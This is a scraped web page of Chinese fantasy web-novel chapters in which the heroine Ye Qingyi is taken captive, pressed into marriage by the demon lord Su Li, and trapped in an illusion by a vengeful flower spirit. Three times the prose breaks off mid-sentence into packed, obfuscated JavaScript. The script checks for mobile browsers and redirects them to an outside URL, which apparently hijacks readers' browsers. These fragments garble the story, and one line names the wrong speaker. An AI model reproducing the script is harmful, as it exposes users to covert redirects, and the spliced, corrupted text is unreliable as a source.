叶清漪兴冲冲赶到院中,却没有看到连喜,院子里站着个眼生的人,来者约不惑之年,披甲戴胄,线条硬朗,眼神苍劲有力,想是常年征战,身后还跟了六个带刀侍卫,一看便知品级很高。 紫玥和南宫也随后出来。 “末将萧宁,见过各位!”来者这个名字叶清漪有所耳闻,应该是狼王身边最得力的萧宁将军,“王上有命,让末将护送贵客出宫,几位请随我来吧!” 叶清漪:“和我们一同来的几人呢?怎么不见他们?” 紫玥:“对呀?为什么让我们先走?我人都没起一般的 “王上只命我带你们走,并没有说其他人怎么安排,想是贵客的朋友们已经先行离开了。” “不可能,连喜不可能不等我们先走的!”紫玥指着萧宁的鼻子质问,“你们到底在玩什么把戏!” “事发突然,路上说吧!晚了宫门便要下钥了,到时只怕多有不便。”萧宁话说得很客气,但明眼人一看便知,身后那六位甲胄齐备的侍卫可不是摆设。 叶清漪按下紫玥的手,冲她摇了摇头,又看向边上的南宫,南宫瞬间领会,故意出言劝说紫玥:“将军说的也不是没有道理,也许他们有急事先行离开了呢!我们出宫去等他们也是可以的。”又对萧宁道:“将军说的对,那便劳烦将军为我们带路。” 在将军转身之后,叶清漪将手笼在袖中施法,打算偷袭,结果发现气息受阻,无法聚气施法,她一惊,又试了两回,仍旧不行,再看其他两人的反应也同她这般,应该也使不出术法了。 看来狼王早有准备,难怪萧宁看上去气定神闲,还只带了六个二等侍卫,只是不知是这些日子的吃食有问题,还是和紫玥发现的法阵有关。 叶清漪心里有点慌,但还是强自镇定,这种情况下,他们只能先按兵不动,萧宁一人领先,他们三人走在中间,六个侍卫紧随其后,如今他们筋脉被封,但有多年修行基础,若是单打独斗,纵然赤手空拳,尚可一搏,只是若列阵以对,他们几乎毫无胜算。 偷偷在后面用眼神交流,大概能领会彼此的意思,待会见机行事,找机会溜走,只要能够跑出去,他们就能恢复法力。至于这些时日,狼王不知在筹备何事,估计已经 他们沿着王宫的长街走着,叶清漪越走越觉得不对劲,他们走的方向好像不是离开王宫的路,叶清漪再次回头,身后只剩两个侍卫,而紫玥和南宫,不知何时已经不见了。两位侍卫抬眼的瞬间,叶清漪直接朝着二人双目狠狠戳下,暂时击退他们,转身想去抓萧宁,萧宁已经退开十步开外,叶清漪一击扑空,欲再一击,双肩却被人一把抓住,两个侍卫死死拉着她,还在嘶哑咧嘴,二人的眼都红肿着,叶清漪这一下戳得可不轻。 下一刻萧宁又瞬移到她面前,一脚踢中她的腹部。 一朵血花顿时绽放在青石路上。 叶清漪吃痛不已,口中残留的鲜血顺着嘴角流下,又被人拉着,无法跪倒,只有蜷缩着身子缓解痛楚。 “事出有因,还请贵客担待。”萧宁假惺惺地说着客套话。 她努力抬起头,面对萧宁:“你们究竟想要做什么?” “事到如今,萧某也不再隐瞒了,王上命我接姑娘去个地方。” “什么地方?” “姑娘到了就知道了。”萧宁以眼神示意两个侍卫将她带走。 “你把其他人怎么样了!” “若是姑娘愿意乖乖配合,萧某可保他们安然无恙,并亲自送他们离开月岩城。” 见叶清漪有所动摇,萧宁又道,“一切都是王上安排的,萧某也是为了早点回去复命。” 叶清漪冷笑一声:“你们是想用另外几人作要挟吗?我看你是想多了,他们两个,一个妖,一个不过是萍水相逢的同修,说到底我与他们毫无交情,你们不会以为我会在意他们的生死吧!” “哦?他们不行,那那位仙长呢?他好像和姑娘是同门师兄们吧!要是我没看错的话,你们二人关系可不一般啊!” 萧宁说的是连喜,他说话时一直盯着叶清漪,嘴角还带着意味不明的笑。 叶清漪别过脸,躲避萧宁的审视:“一派胡言!” 萧宁像是看透了叶清漪的伪装:“姑娘的反应不算强烈,但眼神的细微闪烁还是暴露了你的在意。” 沉默片刻,叶清漪终于妥协:“他人呢?” “放心,他很安全。” “口说无凭,我不曾亲眼见到,是不会相信的。” 萧宁凝视她片刻,而后一挥手,叶清漪眼前便凭空出现一副画面:连喜正和狼王淳于昊苍品茗对弈,看上去安好得有些过头了。 叶清漪松了口气,但心里又有些不是滋味。连喜和她的处境迥然不同,他也不知她如今正在经历什么,以后也可能永远不会知道了。 “看起来你的朋友正和我们王上相谈正欢,姑娘大可放心了吧!” “放心,我也会配合你们,不会试图逃跑的。” “姑娘怎么知道萧某要说这个?” 叶清漪:“猜到了,你们本可以直接将我掳去,却废这么大的力气要挟我,可见是需要我自愿配合,也是为了确保无后顾之忧。” 萧宁笑笑:“姑娘真是聪慧过人啊,那萧某也不绕弯子了,之后姑娘若到了该去的地方,还望姑娘不要轻举妄动,若是想擅自离开,可以想想你的朋友们。” “走吧!”叶清漪懒得再跟他废话。 之后萧宁施法将她带到了一处宫殿,到处装饰一新,张灯结彩,赫然在筹备喜事。 叶清漪看得疑惑:“这是有人要成亲吗?” 萧宁没有回答,站在殿门外做了个请的动作:“姑娘请吧!” 叶清漪抬抬被人控制住的胳膊:“我也使不出法术,可以不用这般吧!” 萧宁做了个手势:“你们两个退下吧!” 两个侍卫松了手,恭敬后退。 萧宁又做了个请的姿势。 叶清漪捏了捏被拉久了的胳膊,活动了有些僵硬的身子,才举步进殿。 叶清漪进殿后,萧宁并没有跟着进来,而是站在门口:“萧某就送姑娘到此了,余下的时间,自有婢女会来照顾姑娘,只希望姑娘不要忘了之前说的话,行事前万望三思。” 萧宁说完便离开了,走之前还顺手关上了殿门。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151194|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 殿门关上后,屋内自动生成了结界。 叶清漪很清楚地感应到这结界似乎有所不同,不像是为了困住她,倒像是为了保护她一般。 这倒让她更不解了。 殿内无人,她随意走动着,打量里面的每一样东西。此处像是一所宫殿,可陈设装饰与狼王宫甚是不同,也不像魔界,只是她进来时已经在院子里了,也没有看到外面的情形。前世她不曾到过妖界,对这里一无所知,如今又失去术法,倒是有些棘手了。 转了几圈也没发现屋内有什么异常,只是间格外华丽的寝殿,叶清漪在桌旁坐下,腹部还隐隐有些发痛,她尝试着调息,可灵力一时难以汇聚丹田,只怕是中了专用来对付修士的术法,想来一时半会难以恢复。 桌上有茶,叶清漪用手背探了壶身,发现是温的,即便如此,她也不敢喝。 屋子里收拾得很妥帖,被褥、地毯、桌椅摆件,都是新换的,香炉里还点着熏香,更是打扫得一尘不染,像是特意为她收拾的。 叶清漪越发好奇了。 等了许久,也没见萧宁说的侍女过来,她的视线重新落在手边那壶茶上,蹙眉盯了片刻,伸手拎起茶壶,揭开盖子闻了闻,正待细查,屋外忽然响起扣门声。 叶清漪一惊:“谁!” 有婢女细声细气地回话:“奴婢等奉命来给姑娘送东西的。” 叶清漪道:“进来吧!” 门打开来,进来五位婢女,捧着红木托盘,里面摆着首饰,胭脂水粉等物,还有个九方食盒,里面放着些点心果脯,叶清漪扫了一眼,依次是杏仁佛手、蜜饯红果、奶白葡萄、香酥苹果、蜂蜜花生、香煎瓜子、糖渍青梅,还有马蹄糕和芙蓉饼。 叶清漪拧眉打量着这几样点心,总觉得似曾相识。 一位婢女将胭脂首饰摆放到梳妆台,一位将点心摆在桌上,领头的那位则端着一杯茶走上前,另两位候在边上,手上的托盘里面放着一方帕子和一个唾壶,那帕子上冒着热气,应该是用来净手的。 两个婢女同时蹲下来,将托盘举过眉心:“请姑娘洗漱。” 叶清漪越发看不明白了:“你们这吃点心之前还要先净手漱口啊!” “不是为了吃点心的。”领头的婢女轻声答话。 “那是为了什么?”叶清漪问道,结果半天没等到回答,眼见那两位婢女还保持着举着托盘的姿势,叶清漪没办法,只好漱口,又用帕子擦了手。 两人这才站起来,退了出去,其余两位忙完分内的事情后,也已经早早退了出去。 只有领头的婢女候在叶清漪身边,挥挥手,又进来四个婢女,这回端的则是衣服,叶清漪看到的第一眼,整个人就傻了。 这身行头她再熟悉不过,前世她跟连喜成婚之时她就曾穿过——那是一整套的凤冠霞帔。 “请姑娘更换喜服!”为首的婢女柔声开口。 叶清漪感觉整个人如坠冰窖,前世最后的记忆纷至沓来,逃婚,复仇,坠崖……眼前这身红衣也不再是喜服,而是绝情崖下无烬的业火。 叶清漪整个人止不住地战栗,下一瞬忽的起身,将所有东西一把掀翻。 115. 妖君蔌黎 妖婢们吓得跪作一团,额头紧紧贴着地面,为首的婢女也绕到前面跪着:“姑娘息怒。” “你们主子是谁?让他滚出来!”叶清漪一只手笼在袖中,还在不受控制地微微颤抖。 “主子派了我们来服侍姑娘,姑娘只管收拾停当,他到时自会来与姑娘相见的。”为首的婢女苦苦劝说。 见叶清漪没有半点反应,又带了哭腔:“姑娘就别为难我们这些奴婢了。” 叶清漪连眼都没眨一下,脸上没有一丝情绪:“为难你的是你们主子,不是我。” “姑娘你就可怜可怜我们吧!”为首的婢女言辞恳切,可叶清漪却丝毫不动容。 “若是从前我或许会可怜你,可如果我真的心软妥协了,有了第一步就会再让第二步,最后只会将自己逼到退无可退的境地,到时我心软放过的人,又岂会可怜我?指不定还会反过来笑我咎由自取。” 婢女没料到叶清漪会说得这么直白,一时不知如何回答。 “既然是你们主子安排,那这份差事担的如何,你们也该是心里有数,不论结果好坏,都是你们该担的,至于我被捉到此处,如何应对,会面临什么下场,那是我该受的,我们各自承担彼此的因果,既不用我可怜你们,也不需要你们放过我。” 伏地的婢女们越听越疑惑,默默交换着眼神,叶清漪说了一大堆,都快把她们说晕了。 不过为首的婢女像是听懂了,果然收起之前那副可怜模样,换上不善的笑,好心提醒道:“姑娘说的极是,我们都该承受自己的业力,既然领了这份差事,也知道会有办不好的情况,只是不知姑娘的那些朋友若因此受到牵连,是不是他们本该承受的呢?” 她这是在提醒叶清漪,之前答应萧宁的那些话。 可笑,如果她知道让她进来是逼婚,她绝对不会答应配合。 “要配合也要看是什么事,跟一个不知底细的人成亲,不如直接杀了我。” “姑娘是可一死了之,只是姑娘的朋友们也得为姑娘陪葬了。”殿外响起一道陌生的声音,叶清漪抬头望去,殿门外一位衣着华贵的男子逆光而立,叶清漪抬手挡光,依稀看清来者的容貌,面若冠玉,目如星河,嘴角含意,月白色斗篷在胸前用银扣斜斜固定住,内搭一件同色长袍,行动时带起一阵寒霜,越发衬得他过于冷冽,偏又眉目含情,举止儒雅。 叶清漪观此人莫名有几分眼熟,眉眼处似有几分千辰的影子,但他肯定不是千辰,且不说千辰早被连喜送回魔界调养,就算千辰在这,也不是他这般模样,千辰轮廓分明,过于妖冶,可此人眉眼温润,让人心生亲近。 难不成此人是故意幻化成这副模样,来接近她的?且看他如何行事,再做应对。 来者手上拿了把折扇,叶清漪仔细一看,认出此物:“这是南宫的扇子,你把我的朋友怎么样了?” “他没事,你放心。”声音也是那般的温柔,谁能想到看起来这般翩翩公子的人,行事却如此阴损。 对方说着向叶清漪走近,最后竟在她面前蹲下了。 一双眼自下而上望向叶清漪,叶清漪也不示弱,坦然直视回去:“你到底想怎样?” “这不很明显吗?我想同你成亲。” 此人出现在殿外时,婢女们就已捡起满地的首饰衣服,重新放回去,利索地退开两旁跪着。 “我连你是谁都不知道,怎么答应你?” 对方发出一声轻笑,笑声如清冽的山泉,又如山间悄然融化的春雪,他微微抬眸望着叶清漪,像哄人一般开口:“我叫蔌黎,也就是他们口中的妖君。” “你就是妖君?” 蔌黎腼腆一笑:“不过是虚名罢了,这妖界多是各自为政,每个种族都由妖王统领,我不过是一介闲人,若是不出意外,我这一生都要在这妖君殿里消磨时光,偶尔四处游历消遣,无趣得很。” “以他人之命要挟,将素未谋面之人掳来,逼她成亲,这就是妖君用来取乐的办法吗?” “你不是素未谋面之人!”蔌黎似是急于剖白。 如此近距离打量,叶清漪发现,若真要说起来,蔌黎眉眼间倒有三分像连喜。 叶清漪对魔族的历史不甚了解,只知道一些大概,当初魔尊赤焱和魔君风闻成亲,诞下千辰,后来又有了连喜,但没多久风闻就陨灭了,之后赤焱死在神魔大战,连喜——也就是曜熠,失踪,在三界漂泊两百多年,最后流落凡间,被云宸捡回,没听说过还有其他魔尊后人啊!难不成……他是连喜的私生子? 蔌黎看着叶清漪的神情变幻莫测,很是费解:“你这是要嫁给我太高兴了吗?” “我劝你还是慎重考虑吧!”叶清漪尽量委婉地表达,若他真是连喜的私生子,他娶她怕是不太合适,真要成亲了,到时她该怎么称呼连喜啊? “不必再考虑了,我行事自是想得很清楚,”蔌黎屏退左右,起身在叶清漪边上的位置坐下,“不急,我有的是耐心,你可以慢慢考虑,是要留在妖君殿,还是回去跟狼王的儿子成亲。” “你怎么知道狼王想让我跟淳于延武成亲?” “自然是因为我亲自从狼王手里要了你过来,否则你本该被送去的,就是狼王替你和他儿子安排好的新房了。” “狼王想让我和淳于延武成亲,是想让我俩双修,助淳于延武提升修为,至于你,也是想和我双修?” “我的修为够用了,何必多此一举!”淳于延武不以为意地一摊手,转头开始吃起桌上的点心来。 叶清漪看着这些点心,才想起被忽略的地方:“那日包下茶楼之人是你?” 蔌黎拿点心的手一顿:“你为何这么说?” “这些点心跟那日茶楼的点心一模一样,茶水也跟我们喝的是同一款。” 蔌黎没有立即回答,端了碟马蹄糕递到叶清漪面前:“我怕你那日茶没喝好,今日特地准备的,你可还喜欢?” “我与妖君素昧平生,你如此行事,着实让人困扰。”哪怕这两世加在一起,她也没见过什么妖君的,更别提有什么交情了。 见叶清漪不受用,蔌黎也不恼,笑了笑将马蹄糕放在她面前。 “我只是对姑娘一见如故,心生欢喜。”蔌黎边说边向叶清漪靠近,随着二人距离逐渐拉进,一根银簪忽然抵住了他的脖颈。 叶清漪眼神坚定,出手利落:“把我的朋友们放了。” 蔌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168148|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎非但不害怕,甚至还往前送了两分,簪子锋利的一端顿时刺破他的皮肉,渗出点点血珠。 “你!”叶清漪没料到会如此,一时还真不知如何应对。 “我喜欢被人威胁,尤其是……被心悦之人威胁。”妖君还在逼近,叶清漪脑子还没想清楚,手上力道已经松了几分。 谁料下一刻,手腕竟被人一把抓住,蔌黎声音充满蛊惑:“别怕,要再用力些才好。” 叶清漪想要后退,蔌黎却拉着她的手迫使她靠得更近,近得能感受到蔌黎温热的气息喷薄在她脸颊,叶清漪只得垂下眼帘,避开他的目光,视线里只剩下一抹血痕的脖颈,和一双殷红如血的双唇。 叶清漪眉心一松,颇有几分无奈地说:“我看你是真的很闲,闲得脑子都出问题了,还没见过像你这样求着别人伤你的。” 蔌黎几乎是下意识追问:“那你可愿留下陪我?” “不愿意。”叶清漪果断回答。 蔌黎神色黯淡下去,又换上了一副漫不经心的笑:“放心,你伤不了我。” 他松开叶清漪,往后退开,脖子上的伤口便以肉眼可见的速度恢复,连一滴血也没流下。 “你若觉得在此孤独,就多找些人来陪你就是,我不是妖族之人,终究是无法久留的。”叶清漪多了几分真心劝说。 蔌黎眼中的神采顿时黯淡下去,眉宇间染上一层阴郁:“你看我这妖君殿还不算热闹吗?没有知心之人,身边有再多人陪伴,也是如孤身一人。” “你都是妖君了,还能有什么烦恼,生杀予夺,翻云覆雨,随随便便就能决定一个人的生死,妖族肯定也有数不清的妙龄女子想做你的妖妃,这还不够吗?干嘛非要勉强留下我这不该留之人呢?” “我想留之人,就是该留之人。只要你答应做我的妖妃,我立刻便能放了你的朋友,以后你我二人同住妖君殿,整个妖界也都是你的。”蔌黎一把抓住叶清漪的手,眼中充斥着异样的神采。 叶清漪抽了两回没抽动,无奈作罢:“我都说了,我不是妖族,这里不属于我。”前世她连魔妃都看不上,这一世哪儿还会当什么妖妃! 蔌黎越发急切:“没关系,你不喜欢妖界,我可以跟你去人界,去魔界,都可以,只要你想,我连妖君都可以不当。” “你这人?”叶清漪眉心紧拧,刚想说什么,忽然吃痛,又因为双手受制,无法借力,整个人只好不受控制地往前倒去。 蔌黎连忙松开她的手,一把扶住她:“清漪,你怎么了?” 叶清漪脸色惨白,说不出一句完整的话。 蔌黎用妖力探查片刻,接着一把掀开她的胳膊,白皙的小臂外侧,赫然浮现着半张翅膀形状的妖族印记。 “这是妖印!你结了妖契了?”蔌黎的声音都变了调。 叶清漪努力维持清醒,但意识还是逐渐迷离,脑中只剩一个清晰的念头,她看向那块妖印,原本中间的空白之处,如今已然一片血红。 “看来已到妖契约定时间了。”叶清漪喃喃道。 意识消散的最后,她只听见蔌黎焦灼的呼唤:“你到底和谁签了妖契,具体什么内容,你快些告诉我啊!清漪……清漪!” 116. 密林幻境 叶清漪睁开眼,眼前是个略显荒凉的树林,雾气弥漫,隐约可见四周稀疏笔直的树干,叶清漪认得这个地方,这是云仞山后山的密林。 她这是又回到云仞山了?她不是在妖君殿吗? 小臂外侧传来灼烧般的疼痛,叶清漪吃痛一声,低头望去,却没有看到那个妖印,本应出现妖印的地方一片光滑,连一点疤痕都没有。 这是怎么回事? 叶清漪拂开眼前的雾,试图看清周围的情形,走了好久都没看到人,而且身边的树都长一样,让她有种一直在原地的错觉。 不对,密林里的多重结界虽然被撤了,但至少还是关着妖邪的,怎么她走了这么久一只妖也没见到? 她试着使了回法力,依然使不出来,也无法召唤青锋剑,身上也没有多余的配饰,之前连喜给她的那只玄月戒也不见了。 莫不是误入了什么阵法,若是阵法,那必有布阵之人。 “放我出去!这是什么鬼地方!快放我出去!!!”叶清漪对着虚空处大喊。 可回应她的只有一连串的回声。 就在叶清漪万念俱灰之时,一道熟悉的声音响起,呼唤她:“清漪,清漪……” 叶清漪惊喜抬头,不远处站着一个久违的身影,紫色衣带随风而动,银色的长发垂落身侧,赫然是身着掌门服制的云宸。 “师……掌门……你怎么在这?” 云宸笑着向她伸出手:“清漪,你为何不唤我师尊了?” 叶清漪一怔,半晌后,迟疑地唤道:“师……师尊?” “甚好。”云宸欣慰颔首。 师尊二字唤出,压抑心中多年的情绪尽数决堤,叶清漪只觉心中大恸,泪水顿时模糊了双眼,她紧紧抓着衣襟,大口喘息,极力平复着心绪。 “不过才片刻未见,你怎么换了副模样?”云宸忽然疑惑地问起。 叶清漪心觉不好,低头望去,她不知何时已换上了在魔界的衣裳,一袭红衣,外罩一件黑色罩衫,周身都溢满了腾腾的魔气。 “你竟入了魔修,为师今日便要清理门户,孽徒,受死吧!” 云宸举着紫霄剑向她刺来。 叶清漪错愕抬头,从紫霄剑的映照中看见了她惊愕的神情,和眉心那抹火焰般的魔印。 预想中的一剑并没有刺下,而是在距离她眉心一寸处停下,她略带疑惑地抬头,发现她的魔气自发地形成术障保护着她,紫霄剑被她的魔气抵挡在外,无法寸进。 叶清漪醒悟过来,这不是这一世的云宸,而是上一世的。 她忽的意识到不好,大喊:“不要!!!” 可已然晚了一步,她眼睁睁看着云宸被人从身后一剑刺穿,口吐鲜血,仙元尽毁,直挺挺地倒下了。 在他身后,是一脸凶狠的凌霜。 “师尊!!!”叶清漪凄厉哭喊,看着倒下的云宸,回想起前世到死都无法见到云宸,无助悲愤,再难隐忍,一怒之下,魔气直直冲出,击中凌霜,将他生生贯穿。 凌霜吐血而亡,也直挺挺地倒下了。 “我要杀了你给我爹报仇!”凌雪瑶不知从哪儿冒了出来。 “凌雪瑶,你不是死了吗?”叶清漪越发疑惑了,“不对,凌霜也死了啊!你们怎么……” “我爹是刚才被你亲手杀死的!你只管偿命!”凌雪瑶也举剑朝她刺来。 叶清漪下意识一挥手,魔气袭出,凌雪瑶整个人霎时被击飞,在空中划了一道弧线,最后直挺挺地落地,正好躺在凌霜旁边。 “叶师妹,你怎么竟是如此残暴之人?竟戕害同门?还杀害了掌门和长老!” 叶清漪转头:“顾长风,你怎么也来了?” “叶清漪,你害死凌师妹,我也不会放过你的!”顾长风身边又出现一人。 “唐旖柔?” “这到底是怎么回事?”叶清漪只觉头疼不已,扶额踉跄两步,竟控制不住要往前倒去。 “清漪,你没事吧!”一双有力的手扶住了她。 叶清漪抬头,撞上一双幽深的眼眸:“连喜?你去哪儿了?” “我不是在这儿吗?我就在你身边。” “你为何会出现在此,他们为何也会出现?” “谁?” “就是那边那些人啊!” 连喜温柔地笑笑:“你糊涂了?哪里有别人,只有我们俩啊!” “可是……” “你自己看!” 连喜扶正叶清漪,让她看向一旁,刚才地上倒着的几个,还有顾长风唐旖柔都不见了。 看来是她出现了幻觉。 叶清漪刚松了口气,又听到唐旖柔的声音:“大师兄,我们走吧!” 她循声望去,只见顾长风和唐旖柔两人出现在了另一个方位,顾长风含情脉脉地搂着唐旖柔:“好,你我一同回山,日后这云仞山便是你我的了。” 唐旖柔娇羞一笑:“好,全凭大师兄做主。” 二人就这么依偎着走远了。 “顾长风!!!”叶清漪追上去两步,但二人走得很快,已经快看不见身影了。 “连喜,你知道这是怎么回事吗?连喜,连喜……”叶清漪再次回头,连喜又消失了,密林只剩下她一人。 是幻术!她定是中了幻术! 叶清漪努力平复心绪,盘腿打坐,凝神静气,摒弃杂念,再次睁眼,怎料还在原地! “怎么还在这里?” 眼见调息没用,还找不到法门,叶清漪越发焦躁不安。 “怎么?你不喜欢这里吗?”一个女子的声音在虚空中响起。 “谁!” “你可还记得,有人还在此处等你。” “小花妖?是你!” “我不过是让你体会一下我的生活,你就受不了了吗?”花妖显出真身,却和叶清漪记忆中大相径庭,再不是之前单纯的小妖了,甚至像是成长为一方大妖。 “你……你是那只小花妖?” “不认得了?还是你已经将我忘了?你可还记得当初答应过我什么,妖契的内容你也忘了吗?” 叶清漪面露歉意:“我知道,是我该履行契约的时候了,你再给我点时间,我处理好这边的事情就会回山。” “时间?我已经给得够多了。我给你时间,谁来给我时间,槐树爷爷,还有阿龙,还有密林那些妖灵,谁又能给他们时间呢!” “阿龙怎么了?” 花妖没有回答,反而更加动怒了:“别以为我不知道你的心思,你已经不想再当大师姐了是吗?你也不想拜在云宸名下,当他的亲传弟子了!” 叶清漪:“看来有这妖契在,我的心思也瞒不了你,我的确是这么想的,但是之前说的不就是要将你救出密林吗?就算我不当大师姐,不当大弟子,也是可以想办法救你出来的。” 花妖拂袖:“我不会再相信你的。” 叶清漪急忙辩白:“是真的,我帮了长公主的忙,她说过会答应我一个条件,我已经想好了回去就求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175111|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把你放了,把密林群妖都放了。” 花妖眉心微动,似有动摇,但下一刻眼中又充满了恨意:“群妖?你以为现在密林里还有妖邪吗?” “我不懂你的意思。” “当初你们仙门内战,密林群妖之力被强行夺取,你以妖契为介,通过我从内部加固了结界,妖力又尽数退回,你们才能获胜,整个仙门也得以保存,以一己之力拯救整个仙门,你是不是觉得自己很伟大?” 叶清漪:“我……” “你还让你的同门撤了密林中的各个结界,你以为这是恩赐对吗?” “不是这样的,我是想帮你们。” “帮我们?究竟是帮我们,还是为了成就你自己!你可知密林群妖有多少,妖力又有多悬殊?那些结界你真以为是为了困住我们的?那是为了保护我们这些低阶妖灵的!”小花妖声嘶力竭,“你将那些高阶恶妖尽数放出,还撤了我们这些小妖的结界,那些恶妖本就穷凶极恶,又被困在密林多年,早已满腔暴戾,凶狠异常,一出来就对我们这些小妖赶尽杀绝,恶妖之间还互相残杀,要争做密林中的妖主,受了伤就要用我们这些小妖的妖灵提升修为,恢复元气,密林很快就变成了人间地狱,阿龙和槐树爷爷都死在他们手里。” “那你……” “你是想问我为什么没死?这当然要多亏了你的妖契,因为和你结了妖契,我无法在妖契结束前死去,就算死了,也会复活。” 叶清漪暗暗心惊,她已经猜到小花妖经历了什么…… “我一开始便和阿龙、槐树爷爷死在一处,可没过多久我就活了过来,可伤口并未愈合,我隐匿气息东躲西藏,还要找草药疗伤,但密林太小了,我很快又被发现,被大妖捉住,这次这只大妖发现我能死而复生,越发凶残,开始一遍遍取我妖血,剖腹取丹,我一次次经历死去复生又死去,不知死了多少次,可我就是会无数次地活过来,我连结束这种痛苦的权利都没有,而你,那时的你在干什么,为什么久久不愿履行妖契!” “我……我也没想到会如此,”叶清漪愧疚不已,“那你是如何活下来的,为何成了这副模样?” 小花妖惨淡一笑,目光变得空洞,仿佛想起很久远的事:“无数次复生之后,我终于承受不住这种痛苦,拼着必死之心找到当时密林最凶残的恶妖,和他决一死战,也许是因为我已经不怕再死一回,几乎是用了毕生的修为和他对决,没想到最后我竟然赢了,我学着他们的样子,剖开他的身体,吞食了他的妖丹,成为了密林新的妖主。” 叶清漪听得说不出话。 “你以为这便算完了?这只是个开始,之后我找到那些曾经杀害过我的妖,将他们对我做的,加倍还给他们,吸取了所有妖的妖丹,连带那些底层小妖,也一并除了。” 叶清漪:“你杀恶妖那是他们咎由自取,可那些小妖并未加害于你,为何也要赶尽杀绝?” “我实在不愿看他们在世上卑微苟活,不愿他们日后经历我曾经历过的一切,便提前替它们结束了痛苦。” 叶清漪望着她,意识到眼前的已不是当初那只小花妖了。 “如今整个密林,就只剩下我一只妖了,你的妖契有没有履行,我也不在乎了。” “那你如今将我引到此处又是为何?” “自然是让你将我救出密林了,只不过方法有所不同罢了,这一次,我要让你来换我,等你手上那枚印记中的血色完全消失之时,就是我重见天日之时,也是你代替我留在密林之日。” 117. 亦真亦幻 妖君殿内烛火摇曳,一袭绯衣的女子躺在殿内的卧榻之上,双目紧闭,周身笼罩着一圈术光,有灵力源源不断地往其体内输送,妖君蔌黎正在一旁施法,可妖力汇入体内,却不见她有半分醒转的迹象。 但若细细辨认,还能看出,他汇入叶清漪体内的并非是什么妖力,而是仙力。 叶清漪的小臂处一簇火红的妖印泛着诡异的红光,不断将灵力吸入,灵力越多,红光便越亮。 “这究竟是怎么回事?” 妖君不过轻轻责问一句,身后跪倒一片的妖医登时吓得瑟瑟发抖,为了保住性命不得不上前回禀:“殿,殿下,这妖契本是寻常,只是在她体内多年,已与她合而为一,加上结契的契主,似是有巨大变动,使得妖契变成了无法破解的死契,除非一方死去,妖契才会失效。” “契主找到了吗?”蔌黎的声音冷静地吓人。 为首的妖医瑟瑟发抖,但又不得不大着胆子回话:“启禀殿下……尚未……” 蔌黎闭了闭眼,极力压抑着怒火:“怎么如此没用!连个小妖都找不出来,给我找,就算将整个妖界都翻个底朝天也要给我找到!!!” “妖君息怒,这契主似乎并不在妖界,而且应该是被什么结界困住了,气息很微弱,我等实在无能为力。” 蔌黎拧眉揉着鬓角,一言不发。 在这漫长的沉默中,妖医们屏息等待着未知的命运,怎料蔌黎终是长叹一声,一拂袖,像是心力交瘁:“罢了,你们去罢!” 妖医们都不敢相信自己的耳朵,但得了释,不敢耽搁,一溜烟出了殿。 出去后还心有余悸,一直走出十几步远才敢松一口气。 “今日妖君怎么如此,竟丝毫不追究你我?”走在前面的两个妖医低声交谈着,其中一个就是回话的那位,他正用袖子擦汗。 “我也不知,兴许妖君今日大发善心了?” “不像,我看妖君倒像是连发落人的力气都没有,一心记挂着那女子,”另一个妖医说到这回头看了一眼,确保安全才接着道,“方才我没敢说,我观那女子脉象,她分明的修仙之人啊,妖君怎么会和她有牵连还对她这般在意。” 后排有妖医听了,忙凑上来:“这你便有所不知了,岂不知妖君近日才回妖界,此前他已在三界各处游历十数年,只怕是游历之时认识的,这才带了回来吧!” “唉,她一介仙修,怎么能待在妖界,如今妖契又发作了,也不知能不能撑过去。” “不止,她那样可没少受伤,底子也不好,不知道是谁在她体内放了个魔修之物,镇压住了她的魔气,若能将此物取出,或可让她转为魔修,到时区区妖契也就奈何不了她了,还能在妖界长久待下去。” “体内的法宝甚是厉害,我等也探查不出是何物,只能说她体内的气息太混杂了,仙力妖契魔气,这怎么是一介凡人之躯能接受的呢!” “罢了,各有缘法吧!你我还是回去想想办法,别等妖君再问起,还是毫无办法,这次侥幸逃过责罚,下次就不一定了。” “正是正是。” 几人一叠声感叹着,往他处去了。 妖君殿内,蔌黎颓然坐在卧榻边,心灰意冷,他的灵力传输不进叶清漪的身体,而且他能感觉到,叶清漪应该被什么幻境困住了,走不出来。 妖君抬起头,已是满脸泪痕:“清漪,我要怎么做,你告诉我,我到底该怎么做才能救你,我应该早些发现你的妖契的。” 他握着叶清漪的手,痴痴望着,卧榻之上,叶清漪双目紧闭,眉心轻拧,额角渗出虚汗,像是陷入了梦魇。他对着身后一伸手,一旁候着的婢女立刻递上新换的热帕子,蔌黎接过,小心地擦拭着她的额头和脸颊。 与此同时,另一边的叶清漪还被困在密林之中。 她正盘腿坐在一棵枯树下,凝神打坐,数个火团围绕在她周围,像是将她困住了,耳边充斥着花妖芍药挥之不去的声音—— 